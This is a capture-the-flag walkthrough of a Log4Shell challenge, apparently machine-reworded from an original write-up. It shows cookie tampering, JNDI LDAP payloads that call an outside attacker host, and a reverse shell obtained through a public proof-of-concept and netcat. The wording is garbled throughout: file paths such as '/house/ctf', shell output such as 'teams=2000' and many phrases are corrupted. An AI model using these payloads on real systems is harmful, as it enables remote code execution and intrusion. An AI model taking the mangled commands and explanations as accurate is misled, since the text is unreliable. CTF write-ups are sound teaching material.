Log4Shell was arguably the largest
vulnerability disclosure of 2021. Safety groups throughout your complete world spent
the top of the 12 months attempting to handle this bug (and a number of other variants) within the
well-liked Log4J logging library.
The vulnerability was attributable to particular formatting strings within the values being
logged that can help you embrace a reference. This reference, it seems, can
be loaded through JNDI, which permits remotely loading the outcomes as a Java class.
This was such an enormous deal that there was no approach we may let the subsequent BSidesSF
CTF go by with out paying homage to it. Enjoyable truth, this meant I “obtained” to construct a
Java webapp, which is definitely one thing I’d by no means carried out from scratch earlier than.
Nothing fairly like studying about Jetty, Log4J, and Maven only for a CTF degree.
Visiting the given software, we see a fundamental web page with choices to login and
register together with a changelog:
The changelog notes that the logger was “patched for Log4Shell” and that there
was beforehand assist for sub-users within the format “consumer+subuser”, nevertheless it has
alledgedly been eliminated.
Registering an account, we’re requested to offer solely a username. The
password is given to us as soon as we register. Registering the username “writeup”,
we get the password “7fAFsdYlz-oH”. If we login with these credentials, we now
see a hyperlink to a web page known as “Flag”, in addition to a “Logout” hyperlink. May we simply
get the flag instantly? Let’s examine.
Sadly, no such luck. We’re introduced with a web page containing the
following:
Oh come on, it wasn’t going to be that straightforward. We’re going to make you’re employed for this.
The flag is accessible at
/house/ctf/flag.txt.Oh yeah, your effort to get the flag has been logged. Don’t make me let you know once more.
Noting the mix of the logging bug talked about on the homepage (and the
trace from the identify of the problem), in addition to the message right here about being
logged, maybe it is a place we may do one thing. Let’s search for wherever
accepting consumer enter.
Aside from the login and register types, we discover nothing attention-grabbing throughout the
complete app. Trying to place a log4shell payload into the login and register
types merely obtains an error:
Error: Username should be lowercase alphanumeric!
Having a look on the login course of, we see that we get handed a cookie
(logincookie) for the session once we login:
1
eyJ1c2VybmFtZSI6IndyaXRldXAiLCJwYXNzd29yZCI6IjdmQUZzZFlsei1vSCJ9
It may be an opaque session token, however from expertise, I do know that ey is
the base64 encoding of the opening of a JSON object ({"). Let’s decode it and
see what we get:
1
{"username":"writeup","password":"7fAFsdYlz-oH"}
Apparently sufficient, our session cookie is only a JSON object that incorporates the
plaintext username and password for our consumer. There’s no apparent signature or
MAC concerned. Possibly we will tamper instantly with the cookie. If I alter the
username by including a letter, it successfully logs me out. Likewise, altering the
password offers me the logged-out expertise.
Trying again on the “subuser” syntax talked about on the homepage, I made a decision to strive
that instantly with the cookie. Setting the username to writeup+a with the
similar password, the positioning appears to acknowledge me as logged-in once more. To examine if
this area may be susceptible without having to setup the complete exploit
ourselves, we will use the Huntress Log4Shell
take a look at. Inserting the offered payload offers us
the next cookie:
1
2
{"username":"writeup+${jndi:ldap://log4shell.huntress.com:1389/d21b4a24-08c8-4d91-9da3-b12fa5f0a472}","password":"7fAFsdYlz-oH"}
eyJ1c2VybmFtZSI6IndyaXRldXArJHtqbmRpOmxkYXA6Ly9sb2c0c2hlbGwuaHVudHJlc3MuY29tOjEzODkvZDIxYjRhMjQtMDhjOC00ZDkxLTlkYTMtYjEyZmE1ZjBhNDcyfSIsInBhc3N3b3JkIjoiN2ZBRnNkWWx6LW9IIn0=
If we set our cookie to that worth, then go to the /flag web page once more so our
try is logged, we ought to set off the vulnerability, as we perceive it so
far. Doing so, then refreshing our web page on Huntress exhibits the callback hitting
their server. We’ve efficiently recognized a sink for the log4shell payload!
Now we simply must serve up a payload.
Sadly, this requires an web uncovered server. There’s a few
methods to do that, reminiscent of port forwarding in your router, a service like
ngrok, or operating a VPS/Cloud Server. On this case, I’ll
use a VPS from Digital Ocean.
I grabbed the log4j-shell-poc
from kozmer to launch the assault. This, itself, is dependent upon the marshalsec
challenge. This requires exposing 3 ports: LDAP on port 1389, a port for the
reverse shell, and a port for an HTTP server for the payload. The LDAP server
will level to the HTTP server, which is able to present a category file because the payload,
which launches a reverse shell to the ultimate port. We launch the PoC with our
exterior IP:
1
2
3
4
5
6
7
8
9
python3 ./poc.py --userip 137.184.181.246
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Organising LDAP server
[+] Ship me: ${jndi:ldap://137.184.181.246:1389/a}
After beginning a netcat listener on port 9001, we ship the offered string in
our username throughout the cookie and cargo the flag web page once more:
1
2
{"username":"writeup+${jndi:ldap://137.184.181.246:1389/a}","password":"7fAFsdYlz-oH"}
eyJ1c2VybmFtZSI6IndyaXRldXArJHtqbmRpOmxkYXA6Ly8xMzcuMTg0LjE4MS4yNDY6MTM4OS9hfSIsInBhc3N3b3JkIjoiN2ZBRnNkWWx6LW9IIn0=
Upon reloading, we see our netcat shell gentle up:
1
2
3
4
5
6
7
nc -nvlp 9001
Listening on 0.0.0.0 9001
Connection obtained on 35.247.118.88 36856
id
uid=2000(ctf) gid=2000(ctf) teams=2000(ctf)
cat /house/ctf/flag.txt
CTF{thanks_for_logging_in_to_our_logs_login_shell}
